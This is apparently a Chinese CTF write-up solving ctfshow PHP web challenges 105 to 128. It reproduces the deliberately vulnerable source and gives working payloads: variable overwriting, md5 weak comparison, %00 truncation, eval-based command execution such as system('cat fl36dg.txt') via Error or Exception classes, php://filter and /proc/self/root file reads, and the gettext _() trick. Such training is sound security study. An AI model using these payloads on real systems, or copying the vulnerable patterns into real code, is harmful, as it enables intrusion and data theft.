web105 变量覆盖
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:34:07
*/
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
你还想要flag嘛?
第一个foreach
get传入的值不能带有error 这个好绕
然后 值给key
比如是 ?a = b
a就变成了b (有点乱。直接覆盖掉a了)
第二个 foreach
post传入的要等于flag 不然die
第三个post传入的值,不能等于flag
简单明了的思路就是
我们直接覆盖掉error ,让
e
r
r
o
r
等于
error等于
error等于flag
get传入 ?suces=flag 绕过第一个foreach
post传入error=suces ,然后error就等于$flag
web106 题 数组绕过
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
web107 parse_str 变量覆盖
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
查询了parse_str 存在变量覆盖漏洞
https://www.w3school.com.cn/php/func_string_parse_str.asp
实列
简单来说会把 第一个参数 赋盖给第二个参数
看题目
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
v2的数组flag 要等于v3的MD5值
第一步,先看见 == 等于MD5
想到数组绕过
这样不行
v3=null 了
但是v2 不等于 ,我们把v1 不传入值看看
这样flag就出来了
官方exp:
GET: ?v3=240610708 POST: v1=flag=0
这是使用的弱比较 ,240610708 md5加密后是0e开头
然后v1赋值flag=0 ,0e和 0 弱比较都等于0
web108 ereg截断漏洞
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:53:55
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
第一步看见ereg 存在%00截断
a%00
第二步
传入的值要等于 0x36d ,0x36d 又等于 877
然后经过反转
778 ,然后取整数
最后payload
a%00778
web 109 内置类绕过
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
主要是这段
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
要匹配到a-zA-Z
然后eval 输出一个new 方法,属实不会
参考:
CTF中常用的php原生类总结_ctf 原生类-CSDN博客
PHP常见内置类浅析 - FreeBuf网络安全行业门户
PHP原生类-CSDN博客
eval("echo new $v1($v2());");
直接使用Error 函数
a=Error&b=system("ls")
其他payload:
v1=mysqli&v2=system("cat fl36dg.txt")
匿名类
v1=class{ public function __construct(){ system('ls'); } };&v2=a
异常处理类
v1=Exception&v2=system('cat fl36dg.txt')
v1=Reflectionclass&v2=system('cat fl36dg.txt')
web111 GLOBALS全局绕过
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 02:41:40
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
传入的v1 v2 不能有特殊符号和 数字 这里就只能使用英文字母
v1 又必须存在ctfshow这几个字母,这个直接传入就可以了
v2 传入 flag呢 又等于NULL,因为他这里是局部的,不是全局的
所以这里使用一个GLOBALS 全局函数 赋值
v1=ctfshow&v2=GLOBALS
web110 内置类 FilesystemIterator
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:49:10
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
error v2
尝试使用上面的payload,但是无法过正则,存在符号。
利用 FilesystemIterator 获取指定目录下的所有文件
getcwd()函数 获取当前工作目录
echo new FilesystemIterator(getcwd()); //默认只显示第一个文件,需要遍历
?v1=FilesystemIterator&v2=getcwd
直接访问
参考:
https://www.cnblogs.com/IFS-/p/17274783.html#web110
web112 php://filter 的各种技巧
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:49
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
过滤
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
但是没有过滤使用最多的php://filter
参考:
php://filter的各种过滤器_php://filter过滤器种类-CSDN博客
探索php://filter在实战当中的奇技淫巧-安全客 - 安全资讯平台
php://filter一些奇技淫巧 - Tr0jAn’s Blog
直接使用payload:
php://filter/convert.quoted-printable-encode/resource=flag.php
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
web113 compress.zlib:// 绕过
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
软连接的方式
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
web114 php://filter 绕过
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:02:53
*/
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
上面都过滤了,但是又没用过滤filter
web115 绕过 trim 函数 -逻辑num!=36 又要num等于 36
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:08:19
*/
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!
第一步是数字
num=36
第二步 不等于数字
%00 %0a %20 加上36 就绕过num!==36了 ,
第三步绕过trim函数
20 09 0a 0d 00 0b 都不能使用了 ,还存在一个0c
换页符
第三步是的payload
%0c36
还差一个 and filter($num)=='36'
filter 也可以绕过 因为没用单独带有这个函数里面的数据
但是接下来还有一个if
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
他这里又需要等于36 ,经过测试依旧使用%0c36 也是可以的
原因:
弱比较状态下会把传入的num进行类似于【intval()】的一个转化【这里不一定是intval转化】最后比较的实际上是‘36’==‘36’。肯定相等。④函数is_numeric():检测是不是数字/数字字符串。这里的%0c是换页符,%09,%20都可以让is_numeric()函数为true;
web123 implode(get_defined_vars()) 函数
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
POST传参:
CTF_SHOW=1&CTF_SHOW.COM=2&fun=1
GET不能传参 f10g 所以就不好满足 if($fl0g===“flag_give_me”)
但是只要绕过正则就可以执行eval函数
执行phpinfo没用反应,题目是突破限制,可能是存在很多过滤函数,且长度不能大于18
echo 一个1 是可以的
既然echo 可以 ,我们直接echo
f
l
a
g
;
<
b
r
/
>
就不需要满足
(
flag;<br />就不需要满足(
flag;<br/>就不需要满足(fl0g===“flag_give_me”)了
还有一种看解题视频了解的
这两个配合
implode(get_defined_vars())
返回变量所组成的数组,然后再转为字符串
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo implode(get_defined_vars())
web125 变量覆盖 与 高亮显示传参
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
过滤了上一关遇到的 echo flag 等等
两种解题方式,但也都差不多
第一种使用变量覆盖
CTF_SHOW=1&CTF[SHOW.COM=1&fun=extract($_POST)&fl0g=flag_give_me
fun把传入的值进行了post传参给f10g 然后post传入 f10g=flag_give_me 就输出flag了
第二种方式
使用高亮显示进行传入的_GET[1] 或者POST
highlight_file($_GET[1])
然后get /?1=flag.php 就输出flag了
126
ctfshow–web入门(web101–web115&web123&web125-web133)_ctfshow web入门125-CSDN博客
参考:
GET:
?$fl0g=flag_give_me
POST:
CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
web127 变量覆盖+ 空格 . 自动转换为_
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-10 21:52:49
*/
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
我们要变量覆盖掉ctf_show =ilove36d
直接ctf_show =ilove36d ,但是这里过滤掉了_
可以发现
由于 PHP 的变量名不能带「点」和「空格」,所以它们会被转化成下划线。 用本函数带 result 参数,也会应用同样规则到数组的键名
所以改为
ctf show =ilove36d
?ctf show=ilove36d
128 gettext函数 别名 _() 绕过
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-12 19:49:05
*/
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL
传入 f1 f2
f1 不能存在0-9 和 字母
第一个if 有两个调用,
小知识点:
gettext函数存在一个别名 ()
f1 传入 f2 传入 phpinfo试试
成功执行
但是这里不能执行system这些函数 ,他是查找东西
可以使用get_defined_vars 函数
get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
f1=_&f2=get_defined_vars